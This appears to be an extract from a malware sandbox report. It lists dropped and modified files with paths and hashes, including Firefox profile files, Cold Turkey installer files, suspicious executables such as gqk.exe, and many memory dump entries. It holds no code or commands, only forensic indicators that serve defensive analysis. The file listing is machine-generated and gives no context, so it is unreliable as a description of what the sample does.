                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 146B
                                                                                                                        • SHA256 7343d5a46e2fca762305a4f85c45484a49c1607ede8e8c4bd12bedd2327edb8d
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 53B
                                                                                                                        • SHA256 792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 228B
                                                                                                                        • SHA256 db037b650f36ff45da5df59bc07b0c5948f9e9b7b148ead4454ab84cb04fd0e2
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        sessionCheckpoints.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionCheckpoints.json.tmp
                                                                                                                        • Size 122B
                                                                                                                        • SHA256 72d74b596f7fc079d15431b51ce565a6465a40f5897682a94a3f1dd19b07959a
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        recovery.jsonlz4
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionstore-backups\recovery.jsonlz4
                                                                                                                        • Size 142KB
                                                                                                                        • SHA256 3d3e3470730c94132c631a82efbd4ed3c0d54847b80d9c9a8949c8076375782f
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        sessionstore.jsonlz4
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionstore.jsonlz4
                                                                                                                        • Size 71KB
                                                                                                                        • SHA256 c05d56f8bbff184672da1b57d29b6ade52855784d550c60066eec07fa93072ad
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        sessionstore.jsonlz4
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionstore.jsonlz4
                                                                                                                        • Size 71KB
                                                                                                                        • SHA256 cf2c6af651b2301cd8d1a7712765047c14006eff8f70a2250c87614e695d21c2
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        sessionstore.jsonlz4
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\sessionstore.jsonlz4
                                                                                                                        • Size 71KB
                                                                                                                        • SHA256 98a92d3b38e832c4b34d766a7f02d4f34e42d4cd9583627c888ae12b718acf81
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        3870112724rsegmnoittet-es.sqlite
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
                                                                                                                        • Size 184KB
                                                                                                                        • SHA256 a15cdf2fa5315c10eaf35daf9665479685d71ce8e3ef37e466fd98cabf81e863
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        xulstore.json.tmp
                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\u7g6zvo6.default-release\xulstore.json.tmp
                                                                                                                        • Size 120B
                                                                                                                        • SHA256 1c2c5d5211674c3c8473e0589085499471399e53e9a85d7dd3b075fef6cbb6be
                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                        Submit Download

                                                                                                                        CTServiceInstaller.exe
                                                                                                                        • Path \Program Files\Cold Turkey\CTServiceInstaller.exe
                                                                                                                        • Size 16KB
                                                                                                                        • SHA256 e1448e418bb0ce01fbce2fb08a351b3a592995fdfcc4786496f47120c5a5a27c
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Cold Turkey Blocker.exe
                                                                                                                        • Path \Program Files\Cold Turkey\Cold Turkey Blocker.exe
                                                                                                                        • Size 814KB
                                                                                                                        • SHA256 33b35b414947584e9c14653bd32387d43942013ab69858ce302096ff4201484c
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        BLHisbnd.exe
                                                                                                                        • Path \Users\Admin\AppData\Local\Temp\BLHisbnd.exe
                                                                                                                        • Size 3.4MB
                                                                                                                        • SHA256 407e9094206a37707a368f4cd0103269c50b8c0c03edba87b4f20664d259f207
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        _setup64.tmp
                                                                                                                        • Path \Users\Admin\AppData\Local\Temp\is-F11S6.tmp\_isetup\_setup64.tmp
                                                                                                                        • Size 6KB
                                                                                                                        • SHA256 388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        Cold_Turkey_Installer.tmp
                                                                                                                        • Path \Users\Admin\AppData\Local\Temp\is-O3CUR.tmp\Cold_Turkey_Installer.tmp
                                                                                                                        • Size 1.4MB
                                                                                                                        • SHA256 db603c03b1a003120d53b9a5940c8e5f19ed96a7a551e621c27757cfa35ca3df
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        gqk.exe
                                                                                                                        • Path \Users\Public\gqk.exe
                                                                                                                        • Size 5.3MB
                                                                                                                        • SHA256 432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                        Submit Download

                                                                                                                        memory/1144-26909-0x00000000009E0000-0x00000000009E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1144-26907-0x000000001A100000-0x000000001A3E2000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1508-17561-0x0000000000080000-0x000000000012C000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-119-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-141-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-12629-0x0000000000400000-0x0000000000A4D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-93-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-96-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-97-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-98-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-99-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-95-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-94-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-88-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-171-0x0000000000400000-0x0000000000A4D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-152-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-151-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-150-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-149-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-148-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-146-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-145-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-144-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-143-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-142-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-140-0x0000000002290000-0x000000000233E000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-139-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-138-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-137-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-136-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-135-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-134-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-133-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-132-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-131-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-130-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-100-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-129-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-101-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-102-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-103-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-128-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-127-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-126-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-104-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-125-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-105-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-124-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-106-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-123-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-122-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-107-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-108-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-109-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-110-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-111-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-112-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-113-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-121-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-114-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-115-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-120-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-118-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-116-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1616-117-0x00000000021D0000-0x000000000228D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1740-28620-0x000000001F0C0000-0x000000001F468000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1740-28619-0x000000001BC30000-0x000000001ED72000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1740-28621-0x0000000001220000-0x0000000001294000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/1740-28622-0x000000001B120000-0x000000001B1C6000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2452-5484-0x0000000000E80000-0x0000000000ED4000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2452-5466-0x0000000006DC0000-0x00000000070AC000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2452-5467-0x00000000008A0000-0x00000000008EC000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2452-585-0x0000000005090000-0x0000000005540000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2452-584-0x00000000012D0000-0x000000000182A000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/2612-147-0x0000000003650000-0x0000000003C9D000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/3316-28123-0x0000000001370000-0x000000000137C000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/3340-10383-0x00000000058F0000-0x00000000059E4000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/3340-5502-0x0000000004D40000-0x0000000004FF8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/3340-5485-0x0000000001190000-0x00000000014F0000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/3856-19792-0x0000000000400000-0x0000000000760000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4412-10398-0x0000000000400000-0x00000000004AC000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4412-10399-0x0000000000D10000-0x0000000000DF8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4412-12627-0x0000000000E80000-0x0000000000ED6000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4412-12626-0x0000000000810000-0x0000000000818000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4420-28433-0x0000000000480000-0x0000000000488000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4528-29080-0x00000000012C0000-0x00000000012C8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4528-29141-0x0000000000650000-0x0000000000658000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/4880-12662-0x00000000001A0000-0x0000000000500000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6472-27620-0x00000000004B0000-0x00000000004B8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6472-27615-0x0000000000E70000-0x0000000000E78000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6492-27642-0x000000001B300000-0x000000001B3A6000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6492-27638-0x000000001EDF0000-0x000000001F198000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6492-27616-0x00000000012A0000-0x0000000001370000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6492-27640-0x0000000001090000-0x0000000001104000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6492-27635-0x000000001B860000-0x000000001E9A2000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6636-27630-0x0000000000CD0000-0x0000000000D1C000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6636-27625-0x0000000000C70000-0x0000000000CCA000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6636-27623-0x0000000000ED0000-0x0000000000EE2000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6636-27636-0x0000000000DD0000-0x0000000000DF5000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/6636-27649-0x0000000000EA0000-0x0000000000EA8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/7684-27793-0x0000000000F30000-0x0000000000F3C000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/8556-29312-0x00000000006B0000-0x00000000006B8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/8908-12635-0x000000001A2D0000-0x000000001A5B2000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/8908-12636-0x0000000001240000-0x0000000001248000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-19777-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-19779-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-26912-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-19778-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-26911-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-24686-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-27852-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-12659-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-12656-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-12655-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-27851-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-26906-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download

                                                                                                                        memory/9148-26908-0x0000000140000000-0x00000001405E8000-memory.dmp
                                                                                                                        Download